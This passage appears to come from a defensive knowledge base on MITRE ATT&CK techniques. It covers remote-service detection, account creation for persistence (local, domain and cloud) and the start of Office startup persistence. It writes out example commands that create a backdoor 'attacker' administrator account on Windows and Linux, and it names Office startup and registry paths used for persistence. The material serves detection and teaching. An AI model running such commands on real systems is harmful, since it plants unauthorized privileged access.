* **Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS)**:
  * IDS/IPS rules to detect exploitation attempts against known vulnerabilities in remote services.
  * Signature-based detection and anomaly-based detection methods to identify suspicious remote access activities.
* **Security Information and Event Management (SIEM)**:
  * Aggregate and correlate logs from multiple sources (firewalls, VPN servers, authentication systems, endpoints).
  * Alert on suspicious patterns, failed login attempts, and unauthorized access attempts.
* **Indicators of Compromise (IoCs)**:
  * Suspicious IP addresses associated with known threat actors or malicious infrastructure.
  * Unusual remote access tools or binaries found on endpoints.
  * Unexpected configuration changes in remote access services.
  * Indicators from threat intelligence feeds related to remote access vulnerabilities and exploits.

## Why it is Important to Detect This Technique

Early detection of External Remote Services misuse is critical due to the significant risks and impacts associated with unauthorized remote access:

* **Data Breaches and Exfiltration**:
  * Attackers gaining remote access can exfiltrate sensitive corporate data, intellectual property, or personally identifiable information (PII), leading to significant financial and reputational damage.
* **Ransomware Attacks**:
  * Remote access compromises are frequently used as initial entry points for ransomware attacks, resulting in operational disruptions, financial losses, and costly recovery efforts.
* **Persistent Unauthorized Access**:
  * Attackers often establish persistent backdoors and remote access channels, enabling prolonged and undetected malicious activities.
* **Lateral Movement and Escalation**:
  * Once attackers gain initial remote access, they can move laterally across internal networks, escalate privileges, and compromise critical infrastructure and systems.
* **Compliance and Regulatory Consequences**:
  * Unauthorized remote access incidents can lead to regulatory fines, legal repercussions, and non-compliance with industry standards (e.g., GDPR, HIPAA, PCI DSS).
* **Operational Downtime and Business Disruption**:
  * Compromised remote services can disrupt critical business operations, resulting in downtime, productivity loss, and negative customer impact.

## Examples

Real-world examples demonstrating External Remote Services exploitation:

* **Colonial Pipeline Ransomware Attack (2021)**:
  * Attackers leveraged compromised VPN credentials to access Colonial Pipeline's internal network.
  * Resulted in ransomware deployment, operational shutdown, fuel supply disruptions, and significant economic impacts.
* **Pulse Secure VPN Exploitation (2020-2021)**:
  * Multiple threat actors exploited vulnerabilities (CVE-2019-11510, CVE-2021-22893) in Pulse Secure VPN appliances.
  * Attackers gained remote access, established persistence, and exfiltrated sensitive data from government organizations and private enterprises.
* **Fortinet VPN Vulnerabilities (2019-2020)**:
  * Exploitation of vulnerabilities (CVE-2018-13379) in Fortinet VPN gateways allowed attackers to harvest credentials and gain unauthorized remote access.
  * Led to data breaches, lateral movement, and ransomware deployment.
* **Citrix ADC (NetScaler) Exploitation (2019-2020)**:
  * Attackers exploited critical vulnerabilities (CVE-2019-19781) in Citrix ADC appliances.
  * Enabled remote code execution, credential theft, and unauthorized access to internal networks.
* **Remote Desktop Protocol (RDP) Attacks (Ongoing)**:
  * Attackers continuously target exposed RDP services using brute-force attacks, credential stuffing, and exploitation of vulnerabilities (e.g., BlueKeep CVE-2019-0708).
  * Commonly used to deploy ransomware, conduct data exfiltration, and establish persistent access.

These examples highlight the critical importance of securing external remote services, implementing strong authentication mechanisms, timely patching, and proactive monitoring to mitigate risks associated with this technique.


# Create Account

Create Account \[T1136]

## Information

* Name: Create Account
* ID: T1136
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Sub-Technique: [T1136.001](/mitre/mitre/ta0003/t1136/t1136.001), [T1136.002](/mitre/mitre/ta0003/t1136/t1136.002), [T1136.003](/mitre/mitre/ta0003/t1136/t1136.003)

## Introduction

The "Create Account" technique (T1136) within the MITRE ATT\&CK framework involves adversaries creating new user accounts or modifying existing ones to maintain persistence and facilitate lateral movement within compromised systems and networks. Attackers typically leverage this technique to establish a foothold, evade detection, and maintain long-term access, often granting themselves elevated privileges or covert channels for future exploitation.

## Deep Dive Into Technique

Attackers can utilize several methods to create or modify accounts across various platforms and operating systems. Common execution methods include:

* **Windows Environments:**
  * Using built-in commands such as `net user`, `net localgroup`, or PowerShell cmdlets (`New-LocalUser`, `Add-LocalGroupMember`).
  * Directly modifying registry keys or manipulating Security Account Manager (SAM) databases.
  * Leveraging Active Directory utilities (`dsadd`, `New-ADUser`) to create domain-level accounts.
* **Linux/Unix Environments:**
  * Executing commands such as `useradd`, `adduser`, or `passwd` to create and manage accounts.
  * Directly editing `/etc/passwd`, `/etc/shadow`, and `/etc/group` files to manually add accounts or modify existing ones.
  * Utilizing scripts or cron jobs to automate account creation or privilege escalation.
* **Cloud Environments:**
  * Creating new cloud platform accounts (e.g., AWS IAM users, Azure Active Directory accounts, Google Cloud IAM accounts) to maintain persistence and facilitate further access.
  * Modifying permissions and roles associated with existing cloud accounts to escalate privileges or maintain stealthy access.

Adversaries often combine these account creation techniques with privilege escalation methods, ensuring they maintain control even after initial access vectors are mitigated.

## When this Technique is Usually Used

The "Create Account" technique is commonly leveraged throughout various stages of the cyber attack lifecycle, including:

* **Persistence:**
  * Attackers create new accounts to maintain ongoing access after initial compromise, ensuring continued entry even if initial exploits or malware are detected and remediated.
* **Privilege Escalation:**
  * Creating privileged accounts or modifying existing account permissions to elevate privileges and gain administrative-level access.
* **Defense Evasion:**
  * Establishing new accounts to evade detection by blending in with legitimate users, thereby avoiding suspicion from security monitoring tools.
* **Lateral Movement:**
  * Using newly created or modified accounts to move laterally across internal systems, networks, or cloud environments without raising alarms.
* **Credential Access:**
  * Creating accounts with specific privileges to access sensitive data, credentials, or resources, enabling further exploitation or data exfiltration.

## How this Technique is Usually Detected

Detection of unauthorized account creation or modification involves monitoring and analyzing multiple data sources and security mechanisms, including:

* **System and Audit Logs:**
  * Monitoring Windows Event Logs (e.g., Event IDs 4720 for account creation, 4732 for addition to privileged groups).
  * Linux/Unix audit logs (`/var/log/auth.log`, `/var/log/secure`, auditd logs) to detect account creation or modification events.
* **SIEM and Log Management Systems:**
  * Utilizing Security Information and Event Management (SIEM) solutions to correlate account creation events across multiple systems and detect anomalous patterns or unauthorized account creations.
* **Endpoint Detection and Response (EDR) Tools:**
  * Leveraging EDR solutions to detect suspicious commands, scripts, or binaries associated with account creation activities.
* **Cloud Security Monitoring:**
  * Monitoring cloud platform logs (AWS CloudTrail, Azure AD audit logs, Google Cloud audit logs) for suspicious IAM user creation or permission changes.
* **Behavioral Analytics and Anomaly Detection:**
  * Using User and Entity Behavior Analytics (UEBA) tools to detect abnormal account creation activities, such as creation during unusual hours, by unusual users, or with anomalous privileges.
* **Indicators of Compromise (IoCs):**
  * Presence of unfamiliar user accounts or groups on systems.
  * Unusual account naming conventions (e.g., random or nonsensical usernames).
  * Unexpected privilege escalation or changes in user permissions.
  * Suspicious commands in audit logs (`net user`, `useradd`, `dsadd`, etc.).

## Why it is Important to Detect This Technique

Early detection of unauthorized account creation or modification is crucial due to the severe potential impacts on organizations, including:

* **Long-term Persistence:**
  * Undetected accounts enable prolonged attacker presence, increasing risk of data theft, espionage, sabotage, or ransomware deployment.
* **Privilege Escalation and Lateral Movement:**
  * Unauthorized privileged accounts enable attackers to escalate privileges, move laterally, and compromise additional systems and data.
* **Data Exfiltration and Breaches:**
  * Attackers may leverage created accounts to access sensitive data, intellectual property, or personally identifiable information, leading to severe financial and reputational damage.
* **Compliance and Regulatory Risks:**
  * Failure to detect unauthorized account creation can result in regulatory non-compliance, penalties, and legal liabilities.
* **Operational Disruption:**
  * Unauthorized accounts with elevated privileges can disrupt critical business operations, damage infrastructure, or cause service outages.

## Examples

Real-world examples of the "Create Account" technique include:

* **APT29 (Cozy Bear):**
  * Attackers leveraged PowerShell scripts to create local administrative accounts on compromised Windows systems, enabling persistent access and lateral movement within targeted networks.
* **FIN7 Cybercrime Group:**
  * Utilized scripts and batch files (`net user` commands) to create hidden administrative accounts on compromised point-of-sale (POS) systems, facilitating long-term access and data exfiltration of payment information.
* **Lazarus Group:**
  * Created new privileged user accounts on compromised Linux servers by editing `/etc/passwd` and `/etc/shadow` files directly, enabling persistent access and further lateral movement within victim networks.
* **Cloud Hopper Campaign (APT10):**
  * Attackers created new accounts and modified existing account permissions within cloud service providers and managed service providers (MSPs), enabling persistent access and espionage activities targeting multiple client organizations.
* **DarkSide Ransomware Operators:**
  * Created new domain administrator accounts within compromised Active Directory environments, facilitating lateral movement, privilege escalation, and eventual ransomware deployment across enterprise networks.


# Local Account

Local Account \[T1136.001]

## Information

* Name: Local Account
* ID: T1136.001
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1136](/mitre/mitre/ta0003/t1136)

## Introduction

Local Account ([T1136.001](https://attack.mitre.org/techniques/T1136/001/)) is a sub-technique within the MITRE ATT\&CK framework under the broader technique "Create Account" ([T1136](https://attack.mitre.org/techniques/T1136/)). Attackers leverage this sub-technique by creating or manipulating local user accounts on compromised systems to maintain persistence, escalate privileges, or evade detection. Local accounts offer attackers a convenient and robust method to access compromised systems without raising suspicion, as these accounts blend into normal administrative or user behavior.

## Deep Dive Into Technique

Creating or manipulating local accounts involves several technical methods and procedures:

* **Built-in Operating System Commands and Utilities:**
  * Windows:
    * `net user` command: Attackers commonly use this command to create new accounts or modify existing ones.

      ```
      net user attacker Password123! /add
      net localgroup administrators attacker /add
      ```
    * PowerShell cmdlets:

      ```powershell
      New-LocalUser -Name attacker -Password (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
      Add-LocalGroupMember -Group "Administrators" -Member attacker
      ```
  * Linux/Unix:
    * `useradd`, `adduser`, and `passwd` commands:

      ```bash
      useradd attacker
      passwd attacker
      usermod -aG sudo attacker
      ```
* **Manipulation of Existing Accounts:**
  * Attackers may also modify existing legitimate accounts by changing passwords, adjusting privileges, or enabling disabled accounts.
  * For Windows, this could mean enabling the built-in Administrator account:

    ```
    net user Administrator /active:yes
    ```
* **Persistence Mechanisms:**
  * Attackers frequently use local accounts as persistence mechanisms, ensuring continued access even after system reboots or remediation attempts.
  * Local accounts can be hidden or disguised by attackers to evade detection, such as renaming accounts to resemble legitimate administrative accounts.
* **Privilege Escalation:**
  * Attackers often assign administrative privileges to newly created or compromised local accounts, enabling them to escalate privileges and gain full control over the system.

## When this Technique is Usually Used

Attackers typically leverage local accounts at various stages of an attack lifecycle, including:

* **Persistence Stage:**
  * Establishing long-term access to compromised systems.
  * Ensuring persistence even after initial malware removal or remediation efforts.
* **Privilege Escalation Stage:**
  * Creating or modifying local accounts with administrative privileges to escalate privileges and obtain elevated access.
* **Lateral Movement Stage:**
  * Utilizing local accounts to authenticate and move laterally across other systems within the same network if password reuse or shared account credentials exist.
* **Defense Evasion Stage:**
  * Creating hidden or disguised accounts to blend in with legitimate administrative or user accounts, making detection more difficult.

## How this Technique is Usually Detected

Detection of local account creation or modification typically involves monitoring and alerting on specific events, behaviors, and indicators of compromise (IoCs):

* **Event Log Monitoring:**
  * Windows Security Event Logs:
    * Event ID 4720: "A user account was created."
    * Event ID 4722: "A user account was enabled."
    * Event ID 4738: "A user account was changed."
    * Event ID 4728: "A member was added to a security-enabled global group."
    * Event ID 4732: "A member was added to a security-enabled local group."
  * Linux/Unix Audit Logs:
    * `/var/log/auth.log` or `/var/log/secure` capturing account creation commands (`useradd`, `passwd`, `usermod`).
* **Endpoint Detection and Response (EDR) Tools:**
  * EDR solutions can identify suspicious account creation or modification by monitoring command-line activities and system API calls.
* **SIEM (Security Information and Event Management) Systems:**
  * Centralized log aggregation and correlation rules to detect suspicious patterns of account creation or modification.
* **Behavioral Analytics:**
  * Detection of abnormal account creation patterns or unusual administrative activity, such as account creation outside normal working hours or by unexpected user accounts.
* **Indicators of Compromise (IoCs):**
  * Presence of suspicious accounts (e.g., accounts with unusual naming conventions or privileges).
  * Accounts created or modified shortly after known malicious activity or compromise events.
  * Accounts with no legitimate business purpose or that do not conform to organizational naming standards.

## Why it is Important to Detect This Technique

Detecting unauthorized local account creation or modification is critical due to the following impacts and considerations:

* **Persistence and Long-term Access:**
  * Attackers commonly use local accounts to maintain persistent access, allowing them to continue malicious activities undetected over extended periods.
* **Privilege Escalation and System Control:**
  * Unauthorized local accounts can grant attackers administrative privileges, enabling full system control, data exfiltration, and further lateral movement.
* **Increased Attack Surface:**
  * Unauthorized accounts expand the attack surface and can be leveraged for additional attacks, lateral movement, and exploitation within the network.
* **Difficulty of Post-Incident Remediation:**
  * Failure to detect and remediate unauthorized local accounts early significantly complicates incident response, remediation, and recovery efforts.
* **Compliance and Regulatory Risks:**
  * Unauthorized local accounts can lead to regulatory non-compliance, audit failures, and legal consequences due to compromised data security and integrity.

Early detection and remediation of unauthorized local accounts significantly reduces the risk of long-term compromise, data breaches, and operational disruption.

## Examples

Real-world examples of attacker usage of local accounts include:

* **APT29 (Cozy Bear):**
  * Known for creating local user accounts to maintain persistence on compromised systems.
  * Utilized PowerShell commands and Windows utilities (`net user`) to create local accounts with administrative privileges, enabling persistent access and lateral movement.
* **FIN7:**
  * Created local accounts with administrative privileges on compromised Windows systems to retain persistent access and facilitate lateral movement.
  * Leveraged built-in Windows commands (`net user`) and PowerShell scripts to automate account creation and privilege assignment.
* **Carbanak Group:**
  * Created and manipulated local accounts on compromised banking systems to maintain persistent access, escalate privileges, and facilitate financial fraud activities.
  * Used standard Windows utilities and scripts to create hidden or disguised local accounts, making detection challenging.
* **Operation Cloud Hopper (APT10):**
  * Created local accounts on compromised cloud service provider systems to maintain persistence and facilitate lateral movement across client networks.
  * Leveraged Linux commands (`useradd`, `passwd`) to create local accounts and assign administrative privileges, enabling ongoing access and control.

These examples illustrate the widespread adoption of local account creation and manipulation by sophisticated threat actors across multiple industries and attack scenarios. Early detection, monitoring, and response to unauthorized local account activity are essential components of effective cybersecurity defense strategies.


# Domain Account

Domain Account \[T1136.002]

## Information

* Name: Domain Account
* ID: T1136.002
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1136](/mitre/mitre/ta0003/t1136)

## Introduction

Domain Account \[T1136.002] is a sub-technique within the MITRE ATT\&CK framework under the parent technique "Create Account" (T1136). This technique involves adversaries creating or manipulating domain-level user or service accounts within an Active Directory environment to maintain persistence, escalate privileges, or facilitate lateral movement. Domain accounts provide adversaries with legitimate access credentials, allowing them to blend in with normal network traffic and evade detection.

## Deep Dive Into Technique

Adversaries employing Domain Account \[T1136.002] typically leverage existing administrative privileges or exploit vulnerabilities to create new domain-level accounts or modify existing ones. These accounts can include standard user accounts, administrative accounts, or service accounts. Attackers may perform the following actions:

* **Creation of new domain accounts:**
  * Utilize Active Directory Users and Computers (ADUC), PowerShell cmdlets (`New-ADUser`, `New-ADServiceAccount`), or command-line utilities (`net user /add`) to generate new domain accounts.
  * Set passwords, configure permissions, and assign privileges appropriate for their objectives.
* **Modification of existing domain accounts:**
  * Alter permissions or group memberships of existing accounts to escalate privileges.
  * Reset passwords or disable security controls (e.g., password expiration policies).
* **Establishing persistence and lateral movement:**
  * Domain accounts allow attackers to maintain long-term access to network resources.
  * Attackers can use these accounts to authenticate across multiple systems, facilitating lateral movement.

Common execution methods and tools include:

* **PowerShell scripts and cmdlets:**
  * `New-ADUser`
  * `Set-ADAccountPassword`
  * `Add-ADGroupMember`
* **Command-line utilities:**
  * `dsadd user`
  * `net user`
  * `dsmod user`
* **Third-party tools and frameworks:**
  * Mimikatz (for credential dumping and account manipulation)
  * PowerSploit framework
  * BloodHound (for reconnaissance and privilege escalation)

## When this Technique is Usually Used

Domain Account \[T1136.002] typically appears in the following attack scenarios and stages:

* **Persistence:**
  * Attackers create domain accounts to ensure persistent and reliable access to compromised environments over extended periods.
  * Domain accounts are harder to detect due to their legitimate appearance and integration into standard workflows.
* **Privilege Escalation:**
  * Adversaries may modify existing domain accounts or create new ones with elevated privileges.
  * Attackers exploit misconfigurations or weak policies within Active Directory to escalate privileges.
* **Lateral Movement:**
  * Domain accounts enable attackers to authenticate across multiple domain-joined systems without raising suspicion.
  * Attackers leverage domain credentials to pivot between hosts, servers, and services within the victim's infrastructure.
* **Credential Access:**
  * Attackers leverage domain accounts to access sensitive information, extract credentials, and perform credential dumping.

## How this Technique is Usually Detected

Detection of Domain Account \[T1136.002] involves monitoring and analyzing several indicators and behaviors:

* **Active Directory event logs:**
  * Monitor Windows Security Event Logs for event IDs:
    * 4720 (user account created)
    * 4722 (user account enabled)
    * 4724 (password reset)
    * 4738 (user account changed)
  * Monitor for unusual account creation activities, especially during off-hours or from unusual sources.
* **Account audits and anomaly detection:**
  * Regularly audit newly created domain accounts for legitimacy.
  * Detect accounts with unusual naming conventions, descriptions, or attributes.
  * Monitor for sudden changes in account privileges or group memberships.
* **SIEM (Security Information and Event Management) solutions:**
  * Correlate account creation events with other suspicious activities, such as lateral movement or privilege escalation attempts.
  * Set alerts for account creations from uncommon IP addresses or systems.
* **Endpoint Detection and Response (EDR) tools:**
  * Identify suspicious scripts or command-line activities related to domain account creation or modification.
  * Detect usage of known malicious tools such as Mimikatz, PowerSploit, or BloodHound.
* **Behavioral analytics and threat hunting:**
  * Perform proactive threat hunting to identify anomalous account behaviors.
  * Look for accounts that deviate from standard organizational policies or baseline behaviors.

Specific Indicators of Compromise (IoCs) include:

* Unrecognized domain accounts with administrative privileges.
* Domain accounts created shortly after initial compromise.
* Accounts with passwords set to never expire or weak security settings.
* Suspicious account names mimicking legitimate accounts with slight variations.

## Why it is Important to Detect This Technique

Early detection of Domain Account \[T1136.002] is critical due to the significant security risks and potential damage it can cause:

* **Persistence and long-term compromise:**
  * Undetected domain accounts allow attackers to maintain persistent access, extending the duration and severity of compromise.
* **Privilege escalation and data exfiltration:**
  * Attackers leveraging domain accounts can escalate privileges, gain access to sensitive data, and exfiltrate critical information.
* **Lateral movement and widespread compromise:**
  * Domain accounts facilitate lateral movement across multiple systems, increasing the scope and complexity of the attack.
* **Difficulty of remediation:**
  * Once attackers establish domain-level accounts, remediation becomes challenging, requiring extensive investigation and response efforts.
  * Early detection minimizes remediation costs and reduces operational disruption.
* **Compliance and regulatory implications:**
  * Unauthorized domain account creation and manipulation may lead to violations of regulatory compliance requirements.
  * Early detection helps organizations maintain compliance and avoid potential legal consequences.

## Examples

Real-world examples of Domain Account \[T1136.002] usage include:

* **APT29 (Cozy Bear) operations:**
  * APT29 has been known to create new domain accounts and modify existing ones to maintain persistent access and facilitate lateral movement within victim networks.
  * Tools used include PowerShell scripts and custom backdoors to interact with Active Directory.
* **FIN7 cybercrime group:**
  * FIN7 utilized compromised domain accounts to move laterally within targeted retail and hospitality organizations, escalating privileges and extracting financial data.
  * Attackers leveraged PowerShell and custom scripts to create domain accounts and modify permissions.
* **Ryuk ransomware attacks:**
  * Ryuk operators have been observed creating new domain administrator accounts to facilitate lateral movement and deploy ransomware payloads across victim networks.
  * Attackers extensively used native Windows tools (`net user`) and PowerShell.
* **Operation Cloud Hopper (APT10):**
  * APT10 compromised managed service providers (MSPs), creating domain accounts within customer environments to maintain persistent access and exfiltrate sensitive data.
  * Attackers made use of legitimate administrative tools and PowerShell to manage domain accounts discreetly.

In these examples, attackers leveraged domain accounts to achieve persistent, stealthy access, escalate privileges, and execute their objectives, demonstrating the critical importance of monitoring and detecting this sub-technique.


# Cloud Account

Cloud Account \[T1136.003]

## Information

* Name: Cloud Account
* ID: T1136.003
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Technique: [T1136](/mitre/mitre/ta0003/t1136)

## Introduction

Cloud Account (T1136.003) is a sub-technique within the MITRE ATT\&CK framework under the parent technique "Create Account" (T1136). It specifically describes adversaries creating unauthorized accounts within cloud environments to maintain persistence, escalate privileges, or facilitate further malicious activities. Attackers leverage cloud-based services and management consoles to establish accounts that blend in with legitimate users, making detection and remediation challenging.

## Deep Dive Into Technique

Adversaries employing the Cloud Account sub-technique typically follow a structured approach to create unauthorized accounts within cloud environments:

* **Initial Access and Reconnaissance:**
  * Attackers initially gain access to cloud environments through compromised credentials, phishing campaigns, or exploiting vulnerabilities in cloud infrastructure.
  * After gaining initial access, adversaries conduct reconnaissance to understand the cloud architecture, IAM roles, permissions, and user account configurations.
* **Account Creation Methods:**
  * **Console Access:** Attackers may directly use cloud service management consoles (e.g., AWS Management Console, Azure Portal, Google Cloud Console) to create new accounts or users.
  * **Command Line Interfaces (CLI):** Attackers often leverage cloud provider CLIs (such as AWS CLI, Azure CLI, GCloud CLI) to automate account creation through scripts or commands.
  * **API Calls and SDKs:** Attackers may use cloud provider APIs and SDKs to programmatically create accounts, allowing automation and stealthy operations.
  * **Federated or SSO Integration:** Attackers may exploit federated identity services or Single Sign-On (SSO) mechanisms to create or provision accounts that appear legitimate and bypass traditional security controls.
* **Privilege Escalation and Persistence:**
  * Newly created cloud accounts typically possess privileges that attackers can escalate or adjust according to their objectives.
  * Attackers may assign administrative rights or privileged roles (e.g., AWS IAM administrator, Azure Global Administrator) to these accounts to maintain persistent, high-level access.
  * Attackers may also create multiple accounts with varying privilege levels to ensure redundancy and persistence within the compromised environment.
* **Obfuscation and Stealth:**
  * Attackers frequently use naming conventions similar to legitimate accounts or standard organizational naming patterns to blend in and avoid suspicion.
  * They may also configure cloud accounts to use legitimate IP addresses, VPNs, or proxies to mask their origin and evade detection.

## When this Technique is Usually Used

This sub-technique appears in various attack scenarios and stages, including:

* **Persistence Stage:** Creating cloud accounts allows attackers to maintain persistent access even after initial compromise vectors are mitigated or credentials are reset.
* **Privilege Escalation Stage:** Attackers create accounts with elevated privileges or roles to escalate their capabilities within cloud environments.
* **Lateral Movement Stage:** Adversaries may establish multiple cloud accounts to facilitate lateral movement across cloud resources, services, or environments.
* **Data Exfiltration Stage:** Attackers may use newly created cloud accounts to access sensitive data, storage buckets, databases, or other cloud resources for exfiltration purposes.
* **Impact Stage:** Attackers may leverage unauthorized cloud accounts to disrupt services, delete resources, or perform destructive actions.

## How this Technique is Usually Detected

Organizations can detect unauthorized cloud account creation through several methods, tools, and indicators:

* **Cloud Audit Logging and Monitoring:**
  * Enable comprehensive audit logging features provided by cloud providers (e.g., AWS CloudTrail, Azure Activity Log, Google Cloud Audit Logs).
  * Regularly monitor logs for suspicious account creation events, especially those performed outside normal business hours or from unusual geographic locations or IP addresses.
* **Behavioral Anomaly Detection:**
  * Implement User and Entity Behavior Analytics (UEBA) to detect anomalous behaviors, such as unusual account creation patterns or privilege escalation activities.
  * Monitor for sudden spikes in account creations or changes in IAM roles and permissions.
* **Security Information and Event Management (SIEM):**
  * Integrate cloud logs into SIEM solutions (e.g., Splunk, Elastic Stack, Azure Sentinel) to correlate events and detect unauthorized account creations.
  * Configure alerts based on specific indicators, such as account creations from unknown devices, suspicious IP addresses, or unusual API calls.
* **Cloud Security Posture Management (CSPM) Tools:**
  * Employ CSPM solutions (e.g., Prisma Cloud, Orca Security, CloudGuard) to monitor cloud environments continuously for unauthorized accounts and compliance violations.
  * Use these tools to identify newly created accounts with elevated permissions or deviations from standard IAM policies.
* **Indicators of Compromise (IoCs):**
  * Unrecognized or unauthorized cloud accounts appearing in IAM consoles or audit logs.
  * Accounts created from suspicious IP addresses, VPNs, or proxy services.
  * Accounts with naming patterns similar but not identical to legitimate users or administrators.
  * Sudden changes in IAM policies, roles, or permissions associated with new accounts.
  * API calls or CLI commands from unknown or unauthorized sources to create new accounts.

## Why it is Important to Detect This Technique

Early detection of unauthorized cloud account creation is critical due to the significant impact it can have on systems and networks:

* **Persistence and Long-Term Access:** Undetected cloud accounts enable attackers to maintain persistent and covert access, complicating remediation and incident response efforts.
* **Privilege Escalation:** Attackers can escalate privileges using unauthorized accounts, potentially gaining administrative control over cloud environments, leading to severe security breaches.
* **Data Breaches and Exfiltration:** Unauthorized cloud accounts provide attackers direct access to sensitive data, facilitating data theft, leakage, and regulatory compliance violations.
* **Financial Impact:** Attackers may leverage cloud accounts to provision resources, initiate cryptocurrency mining, or launch denial-of-service attacks, incurring significant financial costs.
* **Operational Disruption:** Attackers can use unauthorized accounts to delete critical resources, disrupt cloud services, or halt business operations entirely.
* **Compliance and Regulatory Risks:** Failure to detect and remediate unauthorized cloud accounts can result in non-compliance with regulatory frameworks (e.g., GDPR, HIPAA, PCI DSS), leading to legal and financial penalties.

## Examples

Real-world examples highlighting the use of the Cloud Account sub-technique include:

* **Capital One Breach (2019):**
  * Attackers exploited a web application firewall misconfiguration to gain access to AWS credentials.
  * An unauthorized AWS IAM account was created, granting persistent access to sensitive data stored in AWS S3 buckets.
  * Attackers exfiltrated personal information of approximately 100 million customers, resulting in significant financial and reputational damage.
* **Tesla Kubernetes Incident (2018):**
  * Attackers gained access to Tesla's Kubernetes administrative console hosted on AWS due to weak security configurations.
  * Attackers created unauthorized AWS cloud accounts and IAM roles, deploying cryptocurrency mining software on Tesla's infrastructure.
  * The incident led to unauthorized resource utilization and increased operational costs.
* **TeamTNT Cloud Malware Campaigns (2020-2021):**
  * Attackers targeted exposed Docker and Kubernetes instances hosted in cloud environments (AWS, Azure, Google Cloud).
  * Unauthorized cloud accounts and IAM roles were created to deploy cryptocurrency miners, exfiltrate cloud credentials, and facilitate lateral movement.
  * Victims experienced unauthorized resource usage, financial losses, and potential data exposure.
* **Cloud Hopper Campaign (APT10):**
  * APT10 targeted managed service providers (MSPs) and cloud service providers to gain persistent access to client cloud environments.
  * Attackers created unauthorized cloud accounts to maintain persistent access, exfiltrate sensitive client data, and conduct espionage activities.
  * The campaign affected numerous global organizations, highlighting the importance of monitoring and detecting unauthorized cloud account creation.


# Office Application Startup

Office Application Startup \[T1137]

## Information

* Name: Office Application Startup
* ID: T1137
* Tactics: [TA0003](/mitre/mitre/ta0003)
* Sub-Technique: [T1137.006](/mitre/mitre/ta0003/t1137/t1137.006), [T1137.005](/mitre/mitre/ta0003/t1137/t1137.005), [T1137.001](/mitre/mitre/ta0003/t1137/t1137.001), [T1137.003](/mitre/mitre/ta0003/t1137/t1137.003), [T1137.004](/mitre/mitre/ta0003/t1137/t1137.004), [T1137.002](/mitre/mitre/ta0003/t1137/t1137.002)

## Introduction

Office Application Startup is a technique categorized under MITRE ATT\&CK's Persistence (T1137) and Execution tactics. Attackers exploit Microsoft Office applications' built-in features and functionalities to execute malicious payloads automatically upon application startup. This technique leverages legitimate Office mechanisms, helping attackers bypass traditional security controls and remain persistent on compromised systems.

## Deep Dive Into Technique

Attackers utilize various built-in Microsoft Office functionalities to launch malicious code automatically when an Office application starts. Commonly targeted Office applications include Microsoft Word, Excel, PowerPoint, Outlook, and Access.

Key execution methods and mechanisms include:

* **Office Application Startup Folders:**
  * Attackers can place malicious templates or add-ins in specific startup paths, causing Office applications to load these files automatically upon startup.
  * Default startup locations for Office applications (examples):
    * Word: `%APPDATA%\Microsoft\Word\STARTUP\`
    * Excel: `%APPDATA%\Microsoft\Excel\XLSTART\`
    * PowerPoint: `%APPDATA%\Microsoft\PowerPoint\STARTUP\`
* **Registry Keys for Office Add-ins:**
  * Attackers manipulate registry keys to register malicious COM add-ins or macros.
  * Common registry locations include:
    * `HKCU\Software\Microsoft\Office\[Version]\[Application]\Addins`
    * `HKLM\Software\Microsoft\Office\[Version]\[Application]\Addins`
* **Macros and VBA Scripts:**
  * Attackers embed malicious VBA macros within Office documents or templates, executing automatically upon opening or startup.
  * Macros can download and execute additional payloads, establish persistence, or exfiltrate data.
* **COM Add-ins and DLL Loading:**
  * Attackers utilize COM add-ins (.dll files) registered within Office applications, allowing malicious code execution during application initialization.
  * DLL side-loading attacks exploit legitimate Office executables to load malicious DLLs from the same directory.

Real-world procedures typically involve:

* Crafting malicious Office templates or add-ins.
* Social engineering or phishing campaigns delivering malicious documents.
* Exploiting trusted Office functionalities to evade antivirus and endpoint detection solutions.

## When this Technique is Usually Used

Attackers commonly use Office Application Startup in the following scenarios and attack stages:

* **Initial Access and Execution:**
  * Phishing campaigns delivering malicious Office documents or templates to users.
  * Users unknowingly executing macros or add-ins embedded within documents.
* **Persistence:**
  * Establishing persistent footholds on compromised endpoints by ensuring malicious payloads execute each time Office applications start.
  * Maintaining long-term access to victim systems for lateral movement or data exfiltration.
* **Privilege Escalation and Credential Theft:**
  * Leveraging Office macros or add-ins to execute scripts that escalate privileges or steal sensitive credentials.
* **Data Exfiltration:**
  * Embedding macros or add-ins capable of collecting and sending sensitive data to attacker-controlled servers.

## How this Technique is Usually Detected

Detection methods for Office Application Startup include:

* **Endpoint Monitoring and EDR Tools:**
  * Monitoring file system changes in Office startup directories (e.g., `%APPDATA%\Microsoft\[OfficeApp]\STARTUP`).
  * Detecting suspicious DLL or COM add-in registrations within Office-related registry keys.
* **Registry Monitoring:**
  * Monitoring registry keys for suspicious COM add-ins or macros registrations:
    * `HKCU\Software\Microsoft\Office\[Version]\[Application]\Addins`
    * `HKLM\Software\Microsoft\Office\[Version]\[Application]\Addins`
* **Behavioral Analysis:**
  * Detecting abnormal Office application behavior, such as unusual network connections initiated by Office processes.
  * Monitoring Office applications launching unexpected child processes (e.g., PowerShell, cmd.exe).
* **Security Tools and Solutions:**
  * Antivirus and endpoint protection solutions capable of detecting malicious macros and DLL injections.
  * Application whitelisting policies restricting unauthorized Office add-ins and macros.
* **Indicators of Compromise (IoCs):**
  * Suspicious files placed in Office startup folders.
  * Unexpected COM add-ins registered in Office registry keys.
  * Unusual network traffic originating from Office applications.
  * Suspicious Office documents containing macros or scripts executing upon startup.

## Why it is Important to Detect This Technique

Detecting Office Application Startup exploitation is critical due to the following impacts on systems and networks:

* **Persistence and Long-term Access:**
  * Attackers achieve persistent footholds, allowing continuous access, data exfiltration, and lateral movement within the network.
* **Credential Theft and Privilege Escalation:**
  * Malicious macros and scripts executed via Office startup can steal credentials, escalate privileges, and compromise critical accounts.
* **Data Loss and Exfiltration:**
  * Malicious Office payloads can silently exfiltrate sensitive data, intellectual property, or confidential information.
* **Evasion of Traditional Security Controls:**
  * Leveraging legitimate Office functionalities helps attackers bypass antivirus and endpoint detection systems, making detection challenging.

Early detection and response to Office Application Startup techniques help mitigate potential damage, prevent lateral movement, and reduce the risk of prolonged compromise.

## Examples

Real-world examples demonstrating Office Application Startup exploitation include:

* **APT28 (Fancy Bear):**
  * Utilized malicious Office documents with embedded macros delivered via spear-phishing campaigns.
